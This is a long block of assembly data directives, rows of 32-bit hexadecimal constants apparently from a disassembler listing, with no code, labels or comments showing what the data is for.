		dd 329A0157h, 83F725D0h, 0B33068F9h, 5C7C4AAh, 0A0E34213h
		dd 0F7570923h, 0B23E26F0h, 0BB100EEBh, 0C4C2D805h, 0B2C61E15h
		dd 743B4712h, 0FA901AADh, 769667F4h, 0A3262F0h,	0E47E0B09h
		dd 0D3B4CADBh, 6C613777h, 5CDFAF73h, 6E20CA97h,	0D706CEECh
		dd 0E18D644Bh, 82663865h, 5366A935h, 1A5D769Ah,	0C9032F09h
		dd 1E22A642h, 33B2461Bh, 0A47E3B4Ch, 96611094h,	72D1C670h
		dd 0A12995B5h, 0E14C522Bh, 0B43AB7BEh, 4F5C5063h, 63D6B563h
		dd 69255776h, 79B9E776h, 0D56BAA97h, 9D48CB1Bh,	5135218Ch
		dd 389A35h, 75301651h, 4361CC06h, 6BF52940h, 0D45A4C1Ch
		dd 5928F744h, 0D99A0415h, 61C101B5h, 20C7A44Fh,	6CBA8DE7h
		dd 74E49EDFh, 9B9FF1DEh, 45417974h, 0C432D3E1h,	2DEB2F30h
		dd 35E28CFFh, 0C945274Fh, 0EC4FCF2Eh, 2EE2BA2Ah, 4D6DB8F0h
		dd 2CBD3D92h, 0C050920Ah, 0D9F38F6Dh, 6997CA5Eh, 85D242E0h
		dd 701D5E73h, 0D20E963Fh, 9020BA14h, 484678F7h,	30CBECEFh
		dd 5CD67E2Dh, 5EA67FAEh, 0C384C74Ch, 672F4B6Fh,	8E330653h
		dd 257E3289h, 2BF79904h, 667DCB02h, 839DAF15h, 0C62C7C95h
		dd 764F7CC2h, 29A2771h,	3EEA1DBAh, 0E0AE0CDDh, 455448EBh
		dd 7F7E58D3h, 7810CAA5h, 53EAA26Eh, 36164DC6h, 0C98853A9h
		dd 89ED53F7h, 447E8DD0h, 26013E23h, 6A540410h, 0FAD1BF94h
		dd 2B9011EDh, 0FE549591h, 0B67B1C06h, 5FBA3035h, 0F9587FCDh
		dd 36A9604Ch, 0C13682CDh, 4B750C5Eh, 0E95794F3h, 501D800Dh
		dd 8C1A0C5h, 0EF563EB4h, 24B8D4Ch, 257EDF02h, 0C71BD205h
		dd 0D5AB6F8h, 133D5174h, 278B59FBh, 0FD350588h,	135E6F6Bh
		dd 0CFB61F22h, 57FAF9EBh, 0F1B2E751h, 218D7331h, 4621C69Bh
		dd 7EEFFF99h, 0FB7E1226h, 0F7245EFFh, 91C90CCFh, 0B19131C4h
		dd 5B59E502h, 6A46319Dh, 64FC909Ch, 2DB66491h, 6514592Ch
		dd 0A0F1A71Ch, 0BAFA4431h, 0BC87E154h, 2488CC1Eh, 0A89ED9CEh
		dd 0FF761DE1h, 35EA86FDh, 89098F56h, 0DBF27B50h, 1DC5F1C1h
		dd 0A178382Eh, 0BBBF5AA0h, 20A20F62h, 4D5B5543h, 68E3511h
		dd 0C90DA35Ah, 0B31CDB0Ch, 0BB81FFD1h, 32DE13D4h, 5D7EF0B8h
		dd 0CFB904E7h, 3210EB8h, 0E9F82E21h, 5D585DC6h,	2DA91230h
		dd 9766EF37h, 591520ECh, 0E67553B6h, 4FDAFA02h,	0AC0CB2FFh
		dd 85E6CFC9h, 4C0C5960h, 5C4422DAh, 696226BCh, 0CB8FD1ADh
		dd 530B5ADAh, 0B5DA5640h, 12DFFC71h, 3220C276h,	12FC45C7h
		dd 32358FE0h, 7C1C6CEBh, 97A53BE6h, 14FC5253h, 47C4078Eh
		dd 0B82AB917h, 1C2D129Dh, 0A89FF8Fh, 0D7B8E17Bh, 3F9C31F4h
		dd 0E711D7A4h, 0D7EADFDCh, 0EF57F356h, 0BCC3EE7Dh, 14D14003h
		dd 0E6BD5083h, 8277D1E7h, 0F706895Dh, 75E04DA8h, 51C6B9B6h
		dd 4DF30A00h, 2594088Bh, 8646FA24h, 0B628D71Fh,	60E18F51h
		dd 0D0605F01h, 843876CBh, 16DA9D52h, 2584D431h,	0C71B5ECBh
		dd 0F9F20516h, 0B0943B49h, 910518BDh, 9CC5F0CCh, 67748D5Eh
		dd 6FE50665h, 67A85EF3h, 39B56BD4h, 554DB9EDh, 0FDE198B2h
		dd 1792287Dh, 0CA7940A8h, 40205444h, 0A6E06E0Ch, 81DACC0Eh
		dd 12ECBB27h, 3E2FBC2h,	0A20284C0h, 0CF3FD4FAh,	63071036h
		dd 1C88C3C8h, 0F1DD4E21h, 87816A96h, 0B16830B3h, 0D0DF372Ah
		dd 0E48088C2h, 79C2FE96h, 0DC04043Ch, 993151A1h, 0FF437101h
		dd 85AC4042h, 0BCA2A3BFh, 93A8AE3Ch, 0D05C37F4h, 3411205h
		dd 28124740h, 16E590h, 918920B7h, 137B92E9h, 768980F1h
		dd 153E5A27h, 8BD812C4h, 9A37313Eh, 94E106ACh, 0CA24D3ACh
		dd 686C05F4h, 15AEAACFh, 37AF9F4Eh, 0E20083BFh,	0E4BC78F5h
		dd 0CCFF9F0Eh, 8503B2F7h, 8F45E87Bh, 0EA453BEDh, 5CBC6602h
		dd 889E8D05h, 8F0C16ACh, 0D6934BE3h, 360F0D8Fh,	8214A850h
		dd 0C2697D16h, 8530D05Dh, 0F77024B4h, 33B47F66h, 0B88F7B1Ah
		dd 0D9EB551Fh, 0F2D3985Ah, 3D5F8D53h, 4387AE7Dh, 7ABADEC9h
		dd 0B33DBA9h, 0C4D54461h, 0CC2C5EFCh, 7503E84Ch, 0EEAC89A4h
		dd 1109EF18h, 63A7300Dh, 0CE068ECBh, 336A8F34h,	0A80BB6C4h
		dd 3A1387A5h, 0F596365Fh, 0D55651C5h, 0F7553E3Eh, 7FF38EF3h
		dd 342AC6FFh, 52056684h, 0A33744FFh, 0DFA8DEC3h, 0EA91EBDAh
		dd 0B49A22EAh, 0F0AD7AD6h, 542AEB3Fh, 5D30254Ah, 8FD57195h
		dd 0B78A8721h, 99823702h, 455F6B31h, 0DACB4AB7h, 643A0AB9h
		dd 0A8F766B6h, 4FEAA197h, 4A6BA915h, 0EBC21779h, 75CB688h
		dd 80DB00DEh, 7D1F7290h, 1DE69E38h, 2C80DBD9h, 3DBE7891h
		dd 7576657Dh, 9611B286h, 0BF5DA3BAh, 0D7662F8Ah, 0BF23C914h
		dd 0C7DF1DC8h, 0E78393D1h, 70B2B9FAh, 0B377DFD8h, 42D2785Fh
		dd 0C02BEC27h, 86A84FE3h, 0A2BF6F97h, 0DC5FFC49h, 4572248Ch
		dd 824830C4h, 0E41FBA5Ah, 6A191F2Ah, 0E3524EBEh, 0F5D0EB48h
		dd 0BF0636B0h, 535FB339h, 0E972E499h, 83BD9AB4h, 54993D19h
		dd 702C3076h, 0B382832Fh, 0A3CACCECh, 8FBE6EB6h, 5A74A3E4h
		dd 490E283Ah, 0B6242289h, 0EB3577AEh, 267D4401h, 5EFF67FDh
		dd 377F100Bh, 72FD76F5h, 62A14873h, 0D7AD0BCCh,	0B5BA4345h
		dd 0F5D9DE21h, 99D274B5h, 534585D6h, 0F849E0D9h, 0E7B98771h
		dd 74155962h, 790C7D86h, 4144F050h, 0E2F4D902h,	9B51686Fh
		dd 5D6CD008h, 577F7A39h, 99EC3FD3h, 0F85BE357h,	53962C73h
		dd 187AE396h, 0FCC06D7Ah, 39C060EAh, 975B9F3h, 70F2DFAEh
		dd 380CC508h, 0C5F61572h, 0F5B77D49h, 0E27FB3CEh, 0CF548B8Ch
		dd 0A43C7F0Dh, 8DF3B7A0h, 0A0D05CB0h, 52522BD0h, 2D3A8176h
		dd 14E5D7ADh, 92A8A198h, 887815B2h, 0A0C4FF1Ah,	46157CBDh
		dd 0D35847A1h, 0AB3D6FE3h, 654AA091h, 0FAE363F9h, 0FAAF5283h
		dd 55A0D1A5h, 8E9D66B3h, 0C048B1F4h, 4C47B153h,	0C79862A9h
		dd 0E204A7A3h, 982DCCD2h, 53FCC127h, 7A46B1B4h,	0AA2211FAh
		dd 0E71165D2h, 3B9B81C6h, 2BBDD5AFh, 6E2192Bh, 0DDACE946h
		dd 0B99A7232h, 3F870BC5h, 4A63981Bh, 41FCEC4Dh,	0D426E99Bh
		dd 0E3E2AAADh, 0CA643506h, 0D48491CFh, 66BC96FBh, 67A3170Eh
		dd 0B455898Ah, 0EFF3198Fh, 81ECEEF3h, 0C13E3A61h, 0DE7A937Ah
		dd 9B1CB471h, 78CB05C6h, 3DCE26E8h, 0CBBB78A8h,	0E48FEC23h
		dd 0C1EAA892h, 90FA56FAh, 4309E04Ah, 27745190h,	5C45AE0Bh
		dd 0D23B1CCEh, 976FF6D0h, 0B2238B49h, 67BE2EBBh, 0C009E1B7h
		dd 0D4CB3242h, 66ADAFC0h, 0DBCAD48Dh, 92CAB2A5h, 0F8692D27h
		dd 9819E6FCh, 0B0D2E4F2h
		dd 6CE3777Ch, 0BEE3853Fh, 0D22BA5F2h, 4AAFDBh, 787FD7C4h
		dd 47BC5AEFh, 0D5196F53h, 0D3DCBD6Ah, 0E1559118h, 70C9F411h
		dd 0A70C8DBCh, 1E7D297Ch, 8E7A1202h, 34F84DB2h,	0E701CC7h
		dd 1401C98h, 5189BF46h,	0C1DE94F1h, 0ABA43B3Ah,	2DA6B763h
		dd 71F43ED3h, 42A5480Fh, 21409E2Fh, 172A1AB6h, 337BFBA6h
		dd 4CA7FCA8h, 0FE369B5Ch, 30BF68C3h, 1B565E0h, 0A34F26F0h
		dd 7A632738h, 16B5B953h, 0FAD9E4DEh, 16FE869Ch,	223BC978h
		dd 0F2228B1Ah, 9AE9F1A4h, 0D2EA273Ah, 78FDC1B3h, 70091DB3h
		dd 0F0E1DB93h, 86C4C7D0h, 0C0D01684h, 510277A2h, 50FA102Bh
		dd 40665C9Ch, 0EB61041Bh, 3430DB7Fh, 408F0779h,	77A36283h
		dd 16C97EE8h, 8CD48F1Ch, 212A5632h, 54B469B8h, 5B4CC169h
		dd 8B9644B9h, 70B3B5Ah,	695A18D0h, 0E9394BDFh, 0DABFD6B5h
		dd 9FC2E36Dh, 0AA37D293h, 3EB949A6h, 0F32290B1h, 1E9CAA29h
		dd 0C489E04Ah, 86841A31h, 0E82E2BEDh, 880E4119h, 6683617Ah
		dd 0D5913C0Ah, 4994E752h, 7DCD45CAh, 0FCC4E8F0h, 3641AAD3h
		dd 0FE1B9F42h, 70208491h, 0D738639Eh, 1824434h,	0F023467Ah
		dd 74AD6B4Eh, 26DA814Eh, 67366C8Ah, 8C277B0Eh, 377E8C9h
		dd 8940AE8Fh, 0BF3B6BA8h, 0D0965A4Bh, 3398B0F0h, 0FCEFB74Eh
		dd 9769CC15h, 0F40B09F6h, 2CF16EB0h, 65DD03ECh,	0B44D8FF5h
		dd 2315D29Fh, 89079F42h, 4C1B3F7Bh, 8D6EA437h, 0F0D3634Fh
		dd 0D6D5D1D4h, 0A7560D52h, 7053D821h, 0D7B232E5h, 9575EBC4h
		dd 4144BCF0h, 0F12DDC1Ah, 18931560h, 0F87BF8BDh, 5F5468BEh
		dd 19D4EF47h, 0CCBCF4AAh, 7CC9EBE4h, 0CCB8B9E7h, 7AD2AA22h
		dd 0A2F92A2Fh, 113E2CCAh, 6E91B338h, 0CE9739Eh,	12279ADBh
		dd 0FE559FA0h, 42FEDA72h, 195BB270h, 0DFC5A5ACh, 2937705Fh
		dd 69D197ABh, 4FA0EB0Eh, 14EEAC2h, 0B6276C9Dh, 0F598B2BAh
		dd 23BDEBAFh, 86209537h, 0DAEBF6CBh, 3EBDD2E2h,	9152B9DDh
		dd 0BB79E31Ah, 7DE42D63h, 0ABB68DB9h, 588F63C2h, 9C8156E4h
		dd 2F7F15CCh, 137C957Eh, 0FB55324Ah, 66FDBDEBh,	0BA213DFBh
		dd 4FD2671h, 531BED91h,	744937Dh, 0D0B26813h, 947F4E54h
		dd 0D2C4289Bh, 50922FDBh, 6611AF6Dh, 0FC784293h, 9451BB59h
		dd 0CEC9FF31h, 0FCB0A369h, 6E1FFF1Ah, 0A26FC5E7h, 0E71373D6h
		dd 79A0C6D8h, 0ACCF1C6Ch, 0E3DFDC7Ch, 7C7775BEh, 0FE3C0686h
		dd 8498E859h, 5B1846E2h, 21C865CFh, 5AD7447Fh, 6CC7363Bh
		dd 18B946DDh, 0EDF27234h, 0A9EA8427h, 8F2A7C36h, 4A4DE58Eh
		dd 461A4ECh, 32669DBDh,	244C3AEh, 45C71915h, 0FB49CE61h
		dd 615D5A28h, 0BD686F05h, 186DCD1h, 1235106Ah, 0CA0BCF4Ch
		dd 729BBC32h, 3C274C95h, 6DCDF1D8h, 891D0BDBh, 0C4E9CB56h
		dd 2B33CAEBh, 7BD67CA6h, 0E3757FBDh, 3356EA3Ah,	443554E5h
		dd 0DBA8A4A1h, 3D09C55h, 3C66E899h, 0B5262925h,	1150B3D9h
		dd 314B0929h, 13715D89h, 124505D8h, 98EA4321h, 0D2EC69Fh
		dd 0EE251DB9h, 2C4B337h, 214E70DFh, 0E0356C50h,	0F8CF851Ah
		dd 98D34C8Bh, 55473780h, 34BE2771h, 0EF6862A5h,	0F9F1F628h
		dd 45E18539h, 889CE7C5h, 9EC90747h, 0BB4B318Ch,	94BB82DDh
		dd 59F2662Ch, 80EF90E0h, 541B6A7h, 1D062249h, 617219E1h
		dd 4391AF6Dh, 0E3797284h, 3C9C1E4Eh, 0B21A14FAh, 783636Bh
		dd 0E1124E5Bh, 0D6D9C647h, 1DF88415h, 444C8E9Ah, 3E841E52h
		dd 0ECF31045h, 2A977C6Bh, 83A12C87h, 0EDA6BE67h, 971AE80Eh
		dd 0AC592484h, 33203E00h, 411078D3h, 12CAB38Ah,	0E39D344Eh
		dd 0B2ED4405h, 4A0A102Fh, 0EC8A6261h, 0C56D9AFCh, 5DD655D2h
		dd 0BD094D0Fh, 0B9602D0Eh, 5483445Bh, 976A2828h, 46610BA1h
		dd 0F2F72767h, 5E3BE39Eh, 9C577CA9h, 0FA87868Fh, 0FAA78FF0h
		dd 451A4759h, 1E3F6374h, 6C27151Bh, 0D103CC2Bh,	43AB66A1h
		dd 0EBB087E4h, 39E81E22h, 1914C487h, 79ECC90Ch,	85626A66h
		dd 92C4295Dh, 0D0CE9C65h, 73899A23h, 5023D62h, 18DA3B02h
		dd 0E4E89464h, 4CAC6E60h, 9EC1C295h, 412C687h, 3A8361F4h
		dd 2F7F2082h, 922BA7Ch,	200B41FCh, 642049ECh, 103F3A60h
		dd 9894A769h, 143EB320h, 31FAD4DFh, 3BD7B0C0h, 7A39CC01h
		dd 0D19AAFA8h, 6B1ABA88h, 5BC2B891h, 0CF412EAAh, 3CA06EB3h
		dd 0D4424CA4h, 6E685E19h, 589FB36Eh, 5959CDDCh,	0ED951168h
		dd 822AB1E8h, 0E6D1ADC2h, 0C05D5D6Ah, 2FBE19C4h, 3C27173Ch
		dd 0BF04542Ch, 0E3DA5093h, 1AC2795Ah, 1A42815Bh, 0F1CAD856h
		dd 22E89F87h, 5EE644A3h, 0E42000ABh, 3A4AE80Ah,	0B1FB3986h
		dd 0A4AD9DC3h, 63A635C8h, 0FBBAB8F6h, 57831655h, 6CE9D7B3h
		dd 75E5376Bh, 196DC8B1h, 0BE7BBBBEh, 0E38A98AAh, 3E2DC76Bh
		dd 5A44E123h, 0EB49D9BDh, 78D4C4D5h, 5823AD58h,	0EFF23AC0h
		dd 211DF8BEh, 7E3F123Fh, 78511392h, 0F84E1DDBh,	74C06D8Bh
		dd 4BC0F340h, 5FD21702h, 0DDB0B61h, 4FA7D62Ch, 92BA0349h
		dd 0D9081119h, 47DD910Bh, 701CFE9Eh, 0B68D0A34h, 8F154D40h
		dd 0CB34F12Ah, 0D0AD75CCh, 1C68C387h, 0DAE47A9h, 1A254EAh
		dd 5C3F0DD3h, 30833541h, 0A476773Ah, 81D4CE94h,	608C568Fh
		dd 9FEA72F4h, 8CF3F70Fh, 226E8377h, 0F8D0BEBh, 5CFC0272h
		dd 2C23AA98h, 7E1FC39Eh, 0B11D54EEh, 12C24FDFh,	12AD83ADh
		dd 6F45A5F5h, 566A6DE2h, 0A229D201h, 929C5585h,	0BA5BC0F3h
		dd 0C46E7605h, 5E216478h, 0F1243865h, 3D5E4601h, 19371DFBh
		dd 91C87ABCh, 96E6802Fh, 0BE189AB8h, 2F381E5Fh,	447F3D46h
		dd 212E632h, 0DEFCCF8Bh, 0C2DE7865h, 7234FA74h,	32232D75h
		dd 56B43AA0h, 0E0332001h, 5E78AB2Eh, 0B789D0Ah,	0B4A827AEh
		dd 4FDB59ACh, 57188D80h, 0A0A7E29h, 0A80EE6Ah, 0AC032A60h
		dd 0A16A2A33h, 4911CB30h, 5581B52Ch, 0D2694EC6h, 0CBA597A6h
		dd 94004989h, 0EE902572h, 0E4C2CA95h, 0F643080Dh, 6F52209Bh
		dd 2C9711B2h, 5C5E46D5h, 4F75BAACh, 0DA7A0244h,	4D2EC7E9h
		dd 0AA8CC1F9h, 0E0C989D8h, 0FEF16FEh, 0D39841A2h, 0DC8D652Ah
		dd 872396E8h, 0C432AD4Ch, 445AD60Ch, 0BC2C8C29h, 654710B6h
		dd 15B5CE23h, 94F5BC55h, 0B75067D6h, 390DAD6Bh,	94947FDAh
		dd 0C0257EEh, 0F3D663A7h, 0DA7F21ABh, 958F8037h, 6FDF9BFAh
		dd 0F8F2707Ah, 0DB1B7821h, 5C4FD040h, 3E40B832h, 6B4ACCC5h
		dd 19BED1FCh, 5934AB40h, 9EBD3CE0h, 0A0756CFh, 9F839F81h
		dd 9CB5AA26h, 0A010E00Bh, 0EEFEA19h, 99D330ACh,	769E0C03h
		dd 34B1CA39h, 0FAF5B143h, 2E114CD5h, 0EEDCD5DCh, 0C87D2611h
		dd 0A0CE2084h, 59D9A2AFh, 0D28B1507h, 0E76A3B52h, 75676E44h
		dd 0B5B51706h, 11BF9102h, 0F0A29699h, 0CE44506Ch, 37091CE8h
		dd 7FE1AB07h, 0FD9C991Bh, 0B2787419h, 26033563h, 0B0FE908Fh
		dd 0ED78181Eh, 43BAB5BCh, 69109491h, 90846473h,	42EAEF0Bh
		dd 5B13CB9Dh, 2F146Dh, 32B354AAh, 0E4EB5937h, 0B4E36197h
		dd 9744F4Fh, 817BBEA0h,	458317B8h, 7CFF081Ch, 1DB6C3F6h
		dd 0FE5B04C8h, 1D21DB32h, 8DF526F3h, 772899C4h,	0C226621Ah
		dd 5CF260C6h, 889D6E53h, 8AF041EBh, 50EDB8FCh, 0BF49CCD1h
		dd 0AAEDA8A0h, 13BC09F0h, 6BE0DE03h, 0BEB0C6F3h, 8CF843BCh
		dd 237C6A3h, 60F85525h,	5966EEB7h, 779A28A3h, 0D4D2F891h
		dd 7C937Ch, 5A86CF22h, 6BE17EDDh, 8D50FE95h, 448B2F37h
		dd 3A6F58B9h, 1B1638EFh, 4DCB6ABFh, 0E2575094h,	0DF914E33h
		dd 0EAC72105h, 9BC8362Ch
		dd 0FEFD26CDh, 68A1DDBAh, 0AF1E54FBh, 0D96A2B8Dh, 32A9CD3Eh
		dd 0D49919EBh, 0E98271D4h, 0AA8318B9h, 445BDFh,	1EF29396h
		dd 0A97A3D6Eh, 6441764Bh, 2D29CCF4h, 1CDE350Fh,	1A26BBD1h
		dd 40265E98h, 1A507A5Bh, 0CBA56F19h, 6387F36Eh,	5A5E1A7Eh
		dd 0D8932A74h, 29C35966h, 557B4538h, 178BF855h,	521ACD28h
		dd 4DF1EB85h, 1DB9BF0Eh, 0A5BBA539h, 70582482h,	0F55A98D9h
		dd 0F000769Dh, 0FF5D806Bh, 780AF6FCh, 890F77FCh, 3B901263h
		dd 6FBC2682h, 0EE8B4C76h, 336C85A6h, 19C5D217h,	321B5483h
		dd 22B3CEB0h, 0A83C4121h, 5EB5B372h, 0FDEF5082h, 0A5C6EB74h
		dd 0ABA01C4Dh, 0D59E9C99h, 0C9BCE0F3h, 1FF8FCCBh, 12AB27C2h
		dd 0B8316919h, 2AEBDB93h, 0E269FB5Eh, 0C81F7DEFh, 7DBF4ED5h
		dd 2CC932FCh, 0D23C4FDEh, 43E9371Eh, 4F6FB1CAh,	0FF5E816h
		dd 3D9DBA55h, 295B44DCh, 578114D3h, 4DDDA9Ch, 5D01DEBAh
		dd 23C70F2Dh, 0AD1A7C9Ah, 0B1F9C3DCh, 5B828965h, 6E36223Bh
		dd 5F360BCFh, 0A32605F3h, 0B39B2998h, 5B415825h, 63EC565Bh
		dd 555E77h, 0A9B5E7BDh,	0EDA38839h, 0DF6FFA08h,	2C7828C6h
		dd 753692F9h, 9D8A7A4Fh, 75C3D276h, 91C85938h, 3E174C11h
		dd 1B0C9288h, 7A40F82Bh, 0CFDEFDF6h, 2ED6147Fh,	0CE5C7195h
		dd 6E1AF46Fh, 0DB496C61h, 66BEA5D0h, 3C043862h,	0E905EA0Dh
		dd 3C716E43h, 0C4FD510Ah, 4AE91C2Ch, 737B512Fh,	0AFBDE87Bh
		dd 9B88DA5Bh, 0E5F726F3h, 7738C552h, 0E679E9E3h, 2482E637h
		dd 9A6CB1C0h, 8E63658Fh, 4AC7DC25h, 0CF98605h, 0DB8C2AE1h
		dd 0C4C2EEEDh, 9627D86Bh, 0FC1F30F1h, 0EA25966h, 49A86178h
		dd 484B774h, 0C71BC31Ah, 7AC845D0h, 0C8FF2707h,	418A0B77h
		dd 705E2473h, 3D47B607h, 6418D887h, 5BEAF569h, 7DB89609h
		dd 7762C773h, 8D83D137h, 0A2A39E8Ah, 2006D64Ch,	1B40D6F2h
		dd 0BD358D48h, 6C9C0103h, 0E1F3C8FDh, 85A41034h, 86999B50h
		dd 90670C9Bh, 0D0F0E93Fh, 973BA9DEh, 0B8F13470h, 4AD31EF0h
		dd 0AB5A5A8Eh, 0D539D12Ch, 85C3A51Ch, 0A4ABBCDCh, 4BCD540Bh
		dd 0CDCFDD04h, 0AABECDFh, 0F4EADA1Dh, 6DBCEC22h, 927C917Fh
		dd 0D0D848F5h, 0C0877DD9h, 1A44E726h, 0A06DAFE2h, 546CA959h
		dd 8910C0F1h, 7980F012h, 6D2A11F3h, 85F315F8h, 9B849648h
		dd 228EAB8Ah, 13F11C88h, 0D813A10Dh, 60D785D4h,	0FE94468Ah
		dd 6638A14h, 223764Fh, 7E2ACCEEh, 0B0C277E3h, 964504D5h
		dd 54261119h, 0E70BC51Dh, 4DDCF98Dh, 49436655h,	324C97D7h
		dd 987E476Fh, 0B62441A7h, 17FAFEFDh, 0F09366B9h, 1CEB9F53h
		dd 53FB7E02h, 2DC8624h,	22B787E6h, 84DEB2D1h, 7AB6A12Dh
		dd 52598017h, 4D584442h, 0EA18AC26h, 0A4AA3D15h, 965EFDEh
		dd 0B909C2A6h, 0BA1AF41Bh, 9B5A210Bh, 0E2D7BED1h, 414B837Dh
		dd 78A9DFEh, 0A369E14Fh, 0CFE6C470h, 76C6BDE0h,	16D47954h
		dd 4A579D5Dh, 0C522F6D7h, 0A4B8B4E9h, 415D4CECh, 0AC30A595h
		dd 0F41BD2D6h, 9244520Dh, 3DDB8720h, 0A87D6FDCh, 686CBA44h
		dd 281F0E3Dh, 775FAABFh, 7F733330h, 24A547A8h, 0D828F8BEh
		dd 8E1BCE7Ch, 5171149h,	71642E57h, 0ED856713h, 0FFC20C32h
		dd 0CD54456Ch, 66CE7D63h, 7C24FB07h, 94246C17h,	8007C6C3h
		dd 27A891BDh, 0DC66B0FEh, 3EEF45FCh, 4429725Bh,	0C91D1051h
		dd 0EFAE50C7h, 2BB6B3E4h, 93D810CEh, 0D86F6DE4h, 0B5F2424Bh
		dd 0FCFEE33h, 1EB53ED0h, 0A5835897h, 7820247Fh,	409BE9C1h
		dd 555539DFh, 5788999Eh, 58D73B25h, 3095980Ch, 0A8B9CDDBh
		dd 0BC7C334Bh, 0A6894211h, 0EFB8C849h, 7B630EFCh, 65EBF009h
		dd 6DD3ECC2h, 75566137h, 9D0D3AE2h, 0AA66AC6Ah,	795CC8A1h
		dd 858269BDh, 8DC4DB58h, 0BE74F32h, 1F8CFBEDh, 6EA89A20h
		dd 66CF4980h, 929B05F4h, 0F1161754h, 0CB7CCB93h, 0A50220D8h
		dd 20375BE1h, 30E6E3A4h, 0DFE98BB8h, 28E9AE4Eh,	0F3D2F10Ch
		dd 739ED6E8h, 0B1706D22h, 84194A94h, 0B2A34256h, 44E32B0Dh
		dd 5D6C2CDCh, 0B5054FE2h, 0BB9DFAEEh, 2C78A7EDh, 808ADAEEh
		dd 0D465CF0Dh, 5B24540h, 8629BEE7h, 314D7DADh, 0C1B42B90h
		dd 9CA50C70h, 1D8DE936h, 42573973h, 69371DCFh, 4E4B1F58h
		dd 5EA2362Fh, 0DBBF9DF1h, 0E7B2452h, 598023E3h,	7AD620Ah
		dd 2E5DF2ADh, 0C004E782h, 9FD5EB82h, 8F54013Fh,	7EE41BE3h
		dd 0B2E78EC5h, 7CA0810Fh, 4069392Fh, 6A3A2368h,	0BE03211Bh
		dd 0B5E1C7E5h, 0F415AF6Fh, 0E9B836F4h, 8AF21DC0h, 20BF0DB6h
		dd 1833A634h, 0DF51E39Bh, 11B586ABh, 0DFC24322h, 9FDB8D94h
		dd 0BD34BAE6h, 0E3BB4116h, 6F9CADB8h, 0FA0839C3h, 87B7EAF6h
		dd 11181379h, 7A1157DAh, 0DBF561E8h, 0FADB8839h, 0C8FDD801h
		dd 1C77A0EBh, 4B314340h, 75373853h, 83D84AC9h, 414AAAB5h
		dd 9AA523h, 0DCA439CFh,	0DF3EC024h, 16313CECh, 97F8D4DBh
		dd 54ED3642h, 0C0DAB58Fh, 0E050E901h, 0FC7B5F83h, 623467F2h
		dd 59EB3664h, 0B257072Bh, 0BE91FA1h, 0BAB6E4E0h, 0AFB4A1C2h
		dd 33987D2Fh, 0A00A5697h, 1221E5FAh, 0CA85DD04h, 40156D93h
		dd 0AE3FDC35h, 0EF4F2C12h, 998BF2D3h, 0E1D6C5CFh, 735202D2h
		dd 0AFA12FA6h, 8E55C6BFh, 185020E1h, 24662E1Dh,	94422658h
		dd 8FC7B708h, 60ADD2CBh, 0EC9E14BDh, 0DE4218E1h, 0A642A96Fh
		dd 900CA2Eh, 70D928C9h,	51E9496Ch, 4D51866Fh, 0A25D0975h
		dd 8BFD1C74h, 0F74FD34Eh, 0C3BC1B80h, 0CD549E21h, 24E9367Fh
		dd 0FC4C4803h, 6539E83Fh, 699A9CD6h, 0EEB884D1h, 2ADCC7B0h
		dd 0C608E9CFh, 8A04525Fh, 0E688B7CBh, 77F5DFD7h, 6B20029Bh
		dd 5556F2BAh, 0BAEB88F2h, 50D05C8Ch, 0D6D71870h, 0ADE4A842h
		dd 0BE6010D6h, 0FB10DA2Eh, 0C9CE0D00h, 994AFAB9h, 0B3565220h
		dd 0DBDD62F7h, 64895B4Dh, 55759AD7h, 59DAE4C2h,	0A85EED22h
		dd 0E543666Bh, 36F177B6h, 6D945AB1h, 3F975F76h,	4057823Fh
		dd 0C7265716h, 428F13E0h, 5451C8F7h, 0CB0047BBh, 3967F7C3h
		dd 43BF6411h, 3F49DD30h, 0F2F73444h, 0C14A19E7h, 96C61BF4h
		dd 7401CDE6h, 961DA976h, 5C1E7BA9h, 3E72E7ECh, 0AA2BC155h
		dd 637BE307h, 0E10FDBFBh, 0A8EB8C14h, 11718F3Dh, 72F504BCh
		dd 8C268933h, 0D3F5703Eh, 0A23B2648h, 0F160E717h, 34ED6BD0h
		dd 0E88B60F6h, 3D889380h, 0A761B869h, 0AA02E324h, 5F1B5F17h
		dd 0E28A8B17h, 70AB3BB8h, 1D09AA3Bh, 0B272D917h, 4DEAB54Ch
		dd 5703B0CEh, 0BF9D79CBh, 0F9CED29Ch, 4282D799h, 82504CDDh
		dd 3E836EB9h, 0AE701478h, 8815BADFh, 0D932CEA8h, 4FE699ADh
		dd 0AF44801Ch, 90A02653h, 0D7AE5790h, 681CFD6Fh, 0FD78AC1Dh
		dd 98620300h, 8968F4B8h, 73472FAFh, 3A11DF4Eh, 0AD57FDA6h
		dd 30CD1ACh, 35746D9Ah,	7242FA85h, 524DF2E4h, 0ECCFF0C0h
		dd 48523E7h, 9162235Eh,	0F7A03193h, 0CE6FA055h,	0C6A239Ch
		dd 7F22F173h, 0D323BF2h, 82ABBE5Eh, 0C40E82B1h,	38988C7Fh
		dd 29112098h, 60B479C5h, 0B94C17Fh, 131C40A3h, 0BCB0638Ah
		dd 0A0F29675h, 1326D633h, 3C1602EEh, 8F68288Ch,	0FC828D65h
		dd 36EFE61h, 0F1A19FD8h, 4DFC2A6Fh, 0D6650516h,	643FB01h
		dd 3971BE57h, 0A2EAA1A5h, 21EDF7A8h, 8312F43Dh,	9AE1038Ah
		dd 8CD96E19h, 588C5FD1h, 0CEDA582Ch, 1D09CD28h,	0D39D2C2Dh
		dd 0BD634979h, 0D9FF9D5Eh, 80A8CF24h, 8A096628h, 59E29FD0h
		dd 9FA0CC8Dh, 7876BFFh,	1CE82387h, 0F6F53CB8h, 5DDB81ACh
		dd 0CA43FB6Bh, 9D3FCB8Ah
		dd 4CADF5C7h, 0D64CA971h, 0F0A82528h, 4AD7515Dh, 56DE40B6h
		dd 0CE2BA5C9h, 3E02E7DBh, 86253519h, 0E2948881h, 99A41943h
		dd 0FE2ABC58h, 0B354F3F9h, 96893139h, 6DEAC9C6h, 50DB3014h
		dd 67CCB8C1h, 0F78866B1h, 75CC58B0h, 6ECF7E93h,	0EFD7BFC5h
		dd 76DE2485h, 46BC9AC4h, 0E5B7FDF0h, 0BF01F62Fh, 0E3E46B63h
		dd 453C7FA0h, 278ACD6h,	0DFF58E54h, 14C3968Ch, 0A990F1E4h
		dd 8E6A148Ah, 5DAD7767h, 0AB586E9Ch, 0BA1AB90Eh, 46856345h
		dd 4ADAC611h, 23B61075h, 7CD7E931h, 0B5320B6Ch,	0A70A7C99h
		dd 9A987C4Dh, 0D95E3F05h, 4AF5785Dh, 1C229F75h,	0DFEB719Ah
